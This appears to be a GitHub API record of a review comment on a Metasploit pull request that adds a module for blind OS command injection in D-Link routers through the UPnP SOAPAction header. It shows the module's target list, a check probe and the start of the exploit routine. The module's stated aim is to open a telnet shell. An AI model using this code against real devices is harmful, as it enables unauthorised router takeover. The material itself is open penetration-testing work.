{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/30639970","id":30639970,"diff_hunk":"@@ -0,0 +1,134 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = NormalRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Auxiliary::CommandShell\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'        => 'D-Link Devices UPnP SOAPAction-Header Command Execution',\n+      'Description' => %q{\n+        Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP\n+        interface. Since it is a blind OS command injection vulnerability, there is no\n+        output for the executed command. This module has been tested on a DIR-645 device.\n+        The following devices are also reported as affected:\n+        DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB\n+        DIR-815 revB, DIR-300 revB, DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR\n+      },\n+      'Author'      =>\n+        [\n+          'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645\n+          'Craig Heffner', # independent Vulnerability discovery on different other routers\n+          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module\n+        ],\n+      'License'     => MSF_LICENSE,\n+      'References'  =>\n+        [\n+          ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'],\n+          ['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/']\n+        ],\n+      'DisclosureDate' => 'Feb 13 2015',\n+      'Privileged'     => true,\n+      'Platform'       => 'unix',\n+      'Arch'        => ARCH_CMD,\n+      'Targets'        =>\n+        [\n+          [ 'Automatic',        { } ]\n+        ],\n+      'DefaultTarget'  => 0\n+      ))\n+  end\n+\n+  def check\n+    uri = '/HNAP1/'\n+    soapaction = \"http://purenetworks.com/HNAP1/GetDeviceSettings\"\n+\n+    begin\n+      res = send_request_cgi({\n+        'uri'    => uri,\n+        'method' => 'GET',\n+        'headers' => {\n+          'SOAPAction' => soapaction,\n+          },\n+      })\n+      if res && [200].include?(res.code) && res.body =~ /D-Link/\n+        return Exploit::CheckCode::Detected\n+      end\n+    rescue ::Rex::ConnectionError\n+      return Exploit::CheckCode::Unknown\n+    end\n+\n+    Exploit::CheckCode::Unknown\n+  end\n+\n+  def exploit\n+    print_status(\"#{peer} - Trying to access the device ...\")\n+\n+    unless check == Exploit::CheckCode::Detected\n+      fail_with(Failure::Unknown, \"#{peer} - Failed to access the vulnerable device\")\n+    end\n+\n+    print_status(\"#{peer} - Exploiting...\")\n+\n+    telnetport = rand(32767) + 32768","path":"modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb","position":80,"original_position":80,"commit_id":"b991dec0f953532bf2a034b76f735b3ad2303b3c","original_commit_id":"b991dec0f953532bf2a034b76f735b3ad2303b3c","user":{"login":"m-1-k-3","id":497520,"avatar_url":"https://avatars.githubusercontent.com/u/497520?v=3","gravatar_id":"","url":"https://api.github.com/users/m-1-k-3","html_url":"https://github.com/m-1-k-3","followers_url":"https://api.github.com/users/m-1-k-3/followers","following_url":"https://api.github.com/users/m-1-k-3/following{/other_user}","gists_url":"https://api.github.com/users/m-1-k-3/gists{/gist_id}","starred_url":"https://api.github.com/users/m-1-k-3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/m-1-k-3/subscriptions","organizations_url":"https://api.github.com/users/m-1-k-3/orgs","repos_url":"https://api.github.com/users/m-1-k-3/repos","events_url":"https://api.github.com/users/m-1-k-3/events{/privacy}","received_events_url":"https://api.github.com/users/m-1-k-3/received_events","type":"User","site_admin":false},"body":"the backticks working on the command line but not through the command injection. :(","created_at":"2015-05-19T20:00:06Z","updated_at":"2015-05-19T20:00:06Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/5182#discussion_r30639970","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/30639970"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5182#discussion_r30639970"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182","id":33582286,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5182","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5182.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5182.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5182","number":5182,"state":"open","locked":false,"title":"Dlink UPnP SOAP-Header Injection","user":{"login":"m-1-k-3","id":497520,"avatar_url":"https://avatars.githubusercontent.com/u/497520?v=3","gravatar_id":"","url":"https://api.github.com/users/m-1-k-3","html_url":"https://github.com/m-1-k-3","followers_url":"https://api.github.com/users/m-1-k-3/followers","following_url":"https://api.github.com/users/m-1-k-3/following{/other_user}","gists_url":"https://api.github.com/users/m-1-k-3/gists{/gist_id}","starred_url":"https://api.github.com/users/m-1-k-3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/m-1-k-3/subscriptions","organizations_url":"https://api.github.com/users/m-1-k-3/orgs","repos_url":"https://api.github.com/users/m-1-k-3/repos","events_url":"https://api.github.com/users/m-1-k-3/events{/privacy}","received_events_url":"https://api.github.com/users/m-1-k-3/received_events","type":"User","site_admin":false},"body":"Here we have the module from the original exploit created by Craig Heffner: http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/\r\nand here the advisory from D-Link: http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051\r\n\r\nThe module was tested on a DIR-645 router\r\n\r\nScreenshot:\r\n![upnp-header-telnet-session](https://cloud.githubusercontent.com/assets/497520/7210865/aef8c954-e555-11e4-9ca3-896807b6d9b5.png)\r\n\r\nThe telnet session is not ideal but we can't use characters like the / for writing to the temp directory on the filesystem ...","created_at":"2015-04-17T21:04:30Z","updated_at":"2015-05-19T20:00:06Z","closed_at":null,"merged_at":null,"merge_commit_sha":"9a6cf1418f73ba5ee4ba59ca9e84aeeca3e41ce3","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5182/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/b991dec0f953532bf2a034b76f735b3ad2303b3c","head":{"label":"m-1-k-3:dlink_upnp_header_command_exec","ref":"dlink_upnp_header_command_exec","sha":"b991dec0f953532bf2a034b76f735b3ad2303b3c","user":{"login":"m-1-k-3","id":497520,"avatar_url":"https://avatars.githubusercontent.com/u/497520?v=3","gravatar_id":"","url":"https://api.github.com/users/m-1-k-3","html_url":"https://github.com/m-1-k-3","followers_url":"https://api.github.com/users/m-1-k-3/followers","following_url":"https://api.github.com/users/m-1-k-3/following{/other_user}","gists_url":"https://api.github.com/users/m-1-k-3/gists{/gist_id}","starred_url":"https://api.github.com/users/m-1-k-3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/m-1-k-3/subscriptions","organizations_url":"https://api.github.com/users/m-1-k-3/orgs","repos_url":"https://api.github.com/users/m-1-k-3/repos","events_url":"https://api.github.com/users/m-1-k-3/events{/privacy}","received_events_url":"https://api.github.com/users/m-1-k-3/received_events","type":"User","site_admin":false},"repo":{"id":3162215,"name":"metasploit-framework","full_name":"m-1-k-3/metasploit-framework","owner":{"login":"m-1-k-3","id":497520,"avatar_url":"https://avatars.githubusercontent.com/u/497520?v=3","gravatar_id":"","url":"https://api.github.com/users/m-1-k-3","html_url":"https://github.com/m-1-k-3","followers_url":"https://api.github.com/users/m-1-k-3/followers","following_url":"https://api.github.com/users/m-1-k-3/following{/other_user}","gists_url":"https://api.github.com/users/m-1-k-3/gists{/gist_id}","starred_url":"https://api.github.com/users/m-1-k-3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/m-1-k-3/subscriptions","organizations_url":"https://api.github.com/users/m-1-k-3/orgs","repos_url":"https://api.github.com/users/m-1-k-3/repos","events_url":"https://api.github.com/users/m-1-k-3/events{/privacy}","received_events_url":"https://api.github.com/users/m-1-k-3/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/m-1-k-3/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/m-1-k-3/metasploit-framework","forks_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/forks","keys_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/events","assignees_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/merges","archive_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/m-1-k-3/metasploit-framework/releases{/id}","created_at":"2012-01-12T13:11:43Z","updated_at":"2015-04-30T13:47:19Z","pushed_at":"2015-05-15T20:02:25Z","git_url":"git://github.com/m-1-k-3/metasploit-framework.git","ssh_url":"git@github.com:m-1-k-3/metasploit-framework.git","clone_url":"https://github.com/m-1-k-3/metasploit-framework.git","svn_url":"https://github.com/m-1-k-3/metasploit-framework","homepage":"http://www.metasploit.com/","size":271600,"stargazers_count":7,"watchers_count":7,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"open_issues_count":1,"forks":1,"open_issues":1,"watchers":7,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"2a327b7c91c1d57587abfe2c6fcacf1cd20c8b3c","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-05-19T19:21:36Z","pushed_at":"2015-05-19T19:47:29Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1072097,"stargazers_count":3785,"watchers_count":3785,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3080,"mirror_url":null,"open_issues_count":206,"forks":3080,"open_issues":206,"watchers":3785,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5182"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5182"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5182/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5182/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/b991dec0f953532bf2a034b76f735b3ad2303b3c"}}}}